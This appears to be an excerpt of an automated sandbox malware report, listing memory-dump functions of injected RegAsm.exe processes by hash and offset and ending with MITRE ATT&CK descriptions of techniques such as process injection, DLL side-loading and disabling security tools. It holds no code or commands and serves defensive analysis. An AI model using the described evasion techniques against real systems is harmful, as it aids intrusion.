Instruction Fuzzy Hash: 2CD09E2001D7CA9FD3024765DD15A157FB8DF076A571A41D3E8888B5A3C31659148762

Function 06E0DAA5 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4695354466.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6e00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe87445b8bc83f0b7ff3630f2b3e1a4e7ffa6b141520a7c1642e55335b09dcaa
Instruction ID: 1ea87882e559665e6c44cff01ff8de82069d085d097003861a0fe593e8436329
Opcode Fuzzy Hash: fe87445b8bc83f0b7ff3630f2b3e1a4e7ffa6b141520a7c1642e55335b09dcaa
Instruction Fuzzy Hash: 1CD01221F58318CA7FA115F46C002F97764DEC15B972064A3D555C2983DA3084DB87E1

Function 07BC7E58 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4698490960.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7bc0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf848d27ad1919e0c6c50f631c260fea608e26733d144a24fbc6b8b89f6f750f
Instruction ID: 26e9e8c4fd754d825621278b40e43615f685bfaf29138915b7e0ad1e2b25a435
Opcode Fuzzy Hash: cf848d27ad1919e0c6c50f631c260fea608e26733d144a24fbc6b8b89f6f750f
Instruction Fuzzy Hash: FED05B717486914FC3059728D824A457FE59F56711F1540E7E50ACF393DA59CC004785

Function 078E8F58 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4697786366.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_78e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec40687a0c791e5374ae70e638a73d73058240521e162edc7cccf2fd6e058e45
Instruction ID: c572209d3acaaefa5bc1c6edeb0d5fd7f612a258d9bc049fa42341cd43b97a22
Opcode Fuzzy Hash: ec40687a0c791e5374ae70e638a73d73058240521e162edc7cccf2fd6e058e45
Instruction Fuzzy Hash: 84E017B1210208EFD700CF58D288D55BFEAAB2A340F09C495F809CB222D735EC40CB50

Function 078E8F20 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4697786366.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_78e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 424656a3518e1c6f832bac8c1bc5b85735ffc3fd5c8b816c8668e4a868b85b55
Instruction ID: acae1b633d6c63e65d8f98115122f8a8f7aebec0fe17a23abcfdefcd3f3c3e1b
Opcode Fuzzy Hash: 424656a3518e1c6f832bac8c1bc5b85735ffc3fd5c8b816c8668e4a868b85b55
Instruction Fuzzy Hash: 4AD0C9712502098BCF109FF5E9499297BAABF4866931484A6E40DC7611E736EC539A40

Function 078E1A90 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4697786366.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_78e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e09649c8e8709b15e12d48471af5c60b03e6fab435df60fc8e4cab730b373d17
Instruction ID: c3c767a07bd5be3d7a30c1b129d0ccfbb9e14a3921cb9e42f48e8658591aa7b5
Opcode Fuzzy Hash: e09649c8e8709b15e12d48471af5c60b03e6fab435df60fc8e4cab730b373d17
Instruction Fuzzy Hash: 96D0927014ABC79FD3478768D854E65BFB99E0626931940C3E848CA563C715D8A4C721

Function 078E1291 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4697786366.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_78e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52e59f94e293a0226aec5ebcc1955b4143bdf2a51d8c5a5014e5af0c57dd59a4
Instruction ID: 5c1858bc09d7270f7a676cdd4589e2b4fdc36c88a2eb2998d9a06bb38c1f10aa
Opcode Fuzzy Hash: 52e59f94e293a0226aec5ebcc1955b4143bdf2a51d8c5a5014e5af0c57dd59a4
Instruction Fuzzy Hash: 14D0927006DB8A8FC302877894549147FF09E1A11532A42C3E48CCB5B3C22298188700

Function 06E0E440 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4695354466.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6e00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 345c9395ae5811d0aaf1ce77a9beaf3dfc5f21a7a04fe3536960b07e1fd59a53
Instruction ID: 69e9fd00aafcecccf54527b49723381c191e103e9c9c945a179de0796db165d7
Opcode Fuzzy Hash: 345c9395ae5811d0aaf1ce77a9beaf3dfc5f21a7a04fe3536960b07e1fd59a53
Instruction Fuzzy Hash: 24D012252192C14FDB1352A056507D73B214782300F5500D3D144CF7E3C25ACE9BC391

Function 06E0D95F Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4695354466.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6e00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bca208d7b898153a6726d432c9326d5ac210a49ac8b04ba3e778e5263012b5c
Instruction ID: 6d9bda9811782ed7093e2430daf4bf8cae40ba2994f8bda4b053e0c1a839615c
Opcode Fuzzy Hash: 6bca208d7b898153a6726d432c9326d5ac210a49ac8b04ba3e778e5263012b5c
Instruction Fuzzy Hash: 7FD0A73080D7884FC361DB6C88120457B74DE16250B4044D6D859CB371D5669C0597D2

Function 06E0E467 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4695354466.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6e00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dc38369aee7047d489a93a93e966450a5445ad6665cb96876fb087568d29ca8
Instruction ID: 6c0569320e4266b9a9e8953a3d12fda7d4123e52090ab929327dc64e563731a5
Opcode Fuzzy Hash: 3dc38369aee7047d489a93a93e966450a5445ad6665cb96876fb087568d29ca8
Instruction Fuzzy Hash: 9FD0123141C2CA8EE7216F70A9453D63F25C755144F0411D6E38D4A553D56C5A588A95

Function 07BC7E68 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4698490960.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7bc0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca4b964e0ffb4776a1be0bc757404622490f909067094c8016be71dee0ab7769
Instruction ID: 66d2d53539e05917a651378023e36b4d7fc844412404e30a41b333fe90147aa6
Opcode Fuzzy Hash: ca4b964e0ffb4776a1be0bc757404622490f909067094c8016be71dee0ab7769
Instruction Fuzzy Hash: ACC012323101254BC704A76CE414D9977EEAB89B24B1180AAEA0ACB362CAA2EC0047C8

Function 06E0F093 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4695354466.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6e00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1799e80ff29283961b139d1852b120650e5962ec310f26f9da5e86855463d48
Instruction ID: c38bec184b0471e3430a38e6ae2809bc536fa7f3c7e439ad54af9b6d5a401604
Opcode Fuzzy Hash: a1799e80ff29283961b139d1852b120650e5962ec310f26f9da5e86855463d48
Instruction Fuzzy Hash: AFC01231009746AFC6025B74D9141497F28F9462043014A93E51C6B4539A6C7D18C7D5

Function 06E0F06B Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4695354466.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6e00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c182dbc4e5b6ba34080b94b764d428b5a60d95362c9d44d9ae516357c5a2e1d
Instruction ID: 11482112544b6a00007283d6b471cd8b06c73f5414c7e55a92c765762d3453b8
Opcode Fuzzy Hash: 3c182dbc4e5b6ba34080b94b764d428b5a60d95362c9d44d9ae516357c5a2e1d
Instruction Fuzzy Hash: A6D01209A0E3805FE7638B35C1246927B31DBCA34072548C7858487A9BE1259E55C7D1

Function 07BC3368 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4698490960.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7bc0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e54dcd7cc9a8dd0f5ae923b6c14f0571517d9215ba5eac24bd4560b72b665eb3
Instruction ID: 5ba72e59d2ef0863403a20e5063188cbe7ee260a53ccdef8f30096b5f03fad91
Opcode Fuzzy Hash: e54dcd7cc9a8dd0f5ae923b6c14f0571517d9215ba5eac24bd4560b72b665eb3
Instruction Fuzzy Hash: C1C012B0010300EEDF189F1C808C1653EA0EF42314F30468C55248A1C1C6B2D647D7C1

Function 078E1AA0 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4697786366.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_78e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 071606f9ac93cf8249539b6597799d487efc42b6685d35dff925687fe447caac
Instruction ID: 8a77fed616b47a4429056de24ea6752656ed7f869c61f96983e84a7b1b2b211a
Opcode Fuzzy Hash: 071606f9ac93cf8249539b6597799d487efc42b6685d35dff925687fe447caac
Instruction Fuzzy Hash: 74B092341506088F82009B58E448C4473E8AB08A253114090E1088B232C621FC408A40

Function 078E12A0 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4697786366.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_78e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b76679b0a354449729844e828cdbdd8dc5f87ab3334555cc76ca9f307cd6f9ad
Instruction ID: a0ccf6e4bed68dc0c69f5d0bbd707ad7c253f4111acce2a0e91a8f8d8fd4bd45
Opcode Fuzzy Hash: b76679b0a354449729844e828cdbdd8dc5f87ab3334555cc76ca9f307cd6f9ad
Instruction Fuzzy Hash: 03B092351602088F82409B68E448C00B3E8AB08A243118090E10C8B232C621F8008A40

Function 078E2150 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4697786366.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_78e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b76679b0a354449729844e828cdbdd8dc5f87ab3334555cc76ca9f307cd6f9ad
Instruction ID: a0ccf6e4bed68dc0c69f5d0bbd707ad7c253f4111acce2a0e91a8f8d8fd4bd45
Opcode Fuzzy Hash: b76679b0a354449729844e828cdbdd8dc5f87ab3334555cc76ca9f307cd6f9ad
Instruction Fuzzy Hash: 03B092351602088F82409B68E448C00B3E8AB08A243118090E10C8B232C621F8008A40

Function 06E0E478 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4695354466.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6e00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdd79d9fa0b0a955fd0c1d68b53c8662eabbfb6925d9f143e7100d0eea429c7b
Instruction ID: f310b0aeb1a483e33bd468a55e125a524d78fd576beb00b80a73ff773c4144d9
Opcode Fuzzy Hash: bdd79d9fa0b0a955fd0c1d68b53c8662eabbfb6925d9f143e7100d0eea429c7b
Instruction Fuzzy Hash: D6B0123000420F8BE6446F64F5085043B2ED5802087405224A30C45A039DFC6C648A89

Function 06E0F0A0 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4695354466.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6e00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32d821cc4f4c3ad312d0c05f926e9cf028fdd6476b7fbc2ae378ec45a35d649b
Instruction ID: 5dd5af86fcc1bbddd9e2bc6333714782025bc818926f43d589de1ca8db0bba3c
Opcode Fuzzy Hash: 32d821cc4f4c3ad312d0c05f926e9cf028fdd6476b7fbc2ae378ec45a35d649b
Instruction Fuzzy Hash: 12B0123000460E9BD9006F54F9056093B1CF5842447405924A90D16012AEFC3C6546D5

Function 07BC3CF7 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4698490960.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7bc0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6e764b22d890b1aced97675f55b8faf4877067e9f41415d3c8e7629b9be07de
Instruction ID: ba3964a0a21435502451cfe81577b44e8419d7b82cb14fb1b3075b315ae6bc7b
Opcode Fuzzy Hash: e6e764b22d890b1aced97675f55b8faf4877067e9f41415d3c8e7629b9be07de
Instruction Fuzzy Hash: 0CC048B04006008ACF18AF1891482807BA0AF5476AB30028D90288A2D2C3B6D687DAD1

Function 07BC3E8F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4698490960.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7bc0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85d8543aceaa764ac60c55be8f573b884afaf917ae2b9c5e5dc73a3eef5528e0
Instruction ID: 4167cce7aa663eaebf47c84460bbd9f35a50c5ce66f7fb2e4f5465a7c956ee20
Opcode Fuzzy Hash: 85d8543aceaa764ac60c55be8f573b884afaf917ae2b9c5e5dc73a3eef5528e0
Instruction Fuzzy Hash:

Analysis Process: RegAsm.exePID: 7436, Parent PID: 6508COMMON

Executed Functions

Function 02B10DF0 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2277080200.0000000002B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_2b10000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e35c5635d1ea25fb85b27596b322d6a6b236e3e24202750a6d7bfdecc7287301
Instruction ID: 39820ea8c45e0d14c8ccbba5dbeea52dfaf798d5ecad9c67951c53990a57cf88
Opcode Fuzzy Hash: e35c5635d1ea25fb85b27596b322d6a6b236e3e24202750a6d7bfdecc7287301
Instruction Fuzzy Hash: 3551A2317202468FDB58BB75D85A76E3BB5EF85701B4488A9E807C7285EF34DC82C792

Function 02B10978 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2277080200.0000000002B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_2b10000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd5ec75e0fb24405739bd553caff93c42884701e5e169666ea1c7b243da884b7
Instruction ID: 9234f811f1e323a69fd7a5c4f9b002431bc6c82a84b678fbc81d32d6ed97e68a
Opcode Fuzzy Hash: bd5ec75e0fb24405739bd553caff93c42884701e5e169666ea1c7b243da884b7
Instruction Fuzzy Hash: 36E0DF72901108AFCB40EBF8EE5279DBFB9EB44304F6094A9EE04E3306EA315E008785

Function 02B10988 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2277080200.0000000002B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_2b10000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fee88488e81ebc8599d866ab4ae78be84e4796f898e5102621e1cf81b22497fe
Instruction ID: 819b3a55151d4df01304e17f7c91ae4257469d9da84eee5a4750d44b63b5865c
Opcode Fuzzy Hash: fee88488e81ebc8599d866ab4ae78be84e4796f898e5102621e1cf81b22497fe
Instruction Fuzzy Hash: ACD05E30A0110DFFCB84EFB8EA4155DBBF9EF84200B1081ACE908E3201EE316F009B80

Analysis Process: RegAsm.exePID: 7452, Parent PID: 6500COMMON

Executed Functions

Function 04EF0A7F Relevance: .6, Instructions: 576COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2278011345.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_4ef0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34fd6152f6a2cc908df9a55ed2a0b89fa2334fcdcea6e8ea45f1dbf76776fd1c
Instruction ID: f0ed2c2141b7b7b9f0c928beea0ef532e637ca12a529a972748e916ae0193ed5
Opcode Fuzzy Hash: 34fd6152f6a2cc908df9a55ed2a0b89fa2334fcdcea6e8ea45f1dbf76776fd1c
Instruction Fuzzy Hash: 0C51D2317002468FDB54AB74EC5826E3BB6FF45315708946AE607C7246EF34EC02CB92

Function 04EF0DF0 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2278011345.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_4ef0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8670e3855ff9882508f08d6fdf3e6f1ae9b1fb928a5bb48eaf44a4715cc35dde
Instruction ID: 220edc49ad1ccfecfc6a77bef9b762db0cb0b0742705150ebd5bdd77cfdfcc4e
Opcode Fuzzy Hash: 8670e3855ff9882508f08d6fdf3e6f1ae9b1fb928a5bb48eaf44a4715cc35dde
Instruction Fuzzy Hash: E951B33170124A8FDF58AB75EC5826E3BA6EF85315B04946AE607C7242EF34EC41DB91

Function 04EF0978 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2278011345.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_4ef0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e169da88b310ec019374ff2e3c06fa4c42aded6a6736ba7e8da806d4ade283f
Instruction ID: 71cbe5398d6c88d10f2380dc211239d5d65192669189cd0d9b19dea6ffe67e3d
Opcode Fuzzy Hash: 0e169da88b310ec019374ff2e3c06fa4c42aded6a6736ba7e8da806d4ade283f
Instruction Fuzzy Hash: CBE09271A09149FFDB45DB68F95018C7FB5DF81205B4040DEE948E7603EA791F029B84

Function 04EF0988 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2278011345.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_4ef0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a80c3f88618db91f4b99b2e7bd5c6b893ecb005092d09267b47a3793a3164b2
Instruction ID: bcad67b9ad7c11bb9fa11ba855d7a8a2f30beaff8be3c5bcc11c863f12b0c191
Opcode Fuzzy Hash: 9a80c3f88618db91f4b99b2e7bd5c6b893ecb005092d09267b47a3793a3164b2
Instruction Fuzzy Hash: D1D01230A0510DFFCB44EFA4E90055D7BF9DF44205B50419D9808E3201DA756F009B54

Analysis Process: RegAsm.exePID: 7528, Parent PID: 2616COMMON

Executed Functions

Function 02AC0A7F Relevance: 1.0, Instructions: 1002COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2297738984.0000000002AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2ac0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0a416a602e06a97a1be8c847034991be6e3c206edc55889291df7b0ae8982ea
Instruction ID: 235048726b907d0cb4f6e588d1af3123873d9a3ff4ea9d1be4726397b358a0ab
Opcode Fuzzy Hash: a0a416a602e06a97a1be8c847034991be6e3c206edc55889291df7b0ae8982ea
Instruction Fuzzy Hash: 7D612830B54282CFDB55AB79D89836E7BB5AF86340B24486ED447C7296DF30CC42CBA1

Function 02AC0978 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2297738984.0000000002AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2ac0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c51789421052e212e31c7e98e59a8339205436a74006fca9e5b1b1b9f4edb7f4
Instruction ID: a888e5404513076fbb60b38de2236786bba033ffa8d857f698aaaefeea422622
Opcode Fuzzy Hash: c51789421052e212e31c7e98e59a8339205436a74006fca9e5b1b1b9f4edb7f4
Instruction Fuzzy Hash: 1201B13040428ADFCB0AEB69ECD1A9D3FB4EE81304B041AADD544DB22BEB749E05C785

Function 02AC1020 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2297738984.0000000002AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2ac0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52706909ad2062c080ca9f62925b8e59a209681206f6f9261082e6d0843f0758
Instruction ID: 578cb0797357e39ebe49c54c33d1a9619693b4ff224124375173625edcad8a7d
Opcode Fuzzy Hash: 52706909ad2062c080ca9f62925b8e59a209681206f6f9261082e6d0843f0758
Instruction Fuzzy Hash: 2BD0A9313010649BC604B6FEE8088AE37DAEFCA61076000AAE005DB3A2CE22EC0003E4

Function 02AC0988 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2297738984.0000000002AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2ac0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4de2da29f37838aed478a49cfcbd34e18cd2de4ef3bee0942191c288003d177
Instruction ID: a22fec46a839066e105ede411b99a0513792045e0efdc147affab099b50d7616
Opcode Fuzzy Hash: e4de2da29f37838aed478a49cfcbd34e18cd2de4ef3bee0942191c288003d177
Instruction Fuzzy Hash: 45D05E30A0114DFFCB84EFA9EA4156EBBF9EB84200B1045ACD808E3252EE312F009B94

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

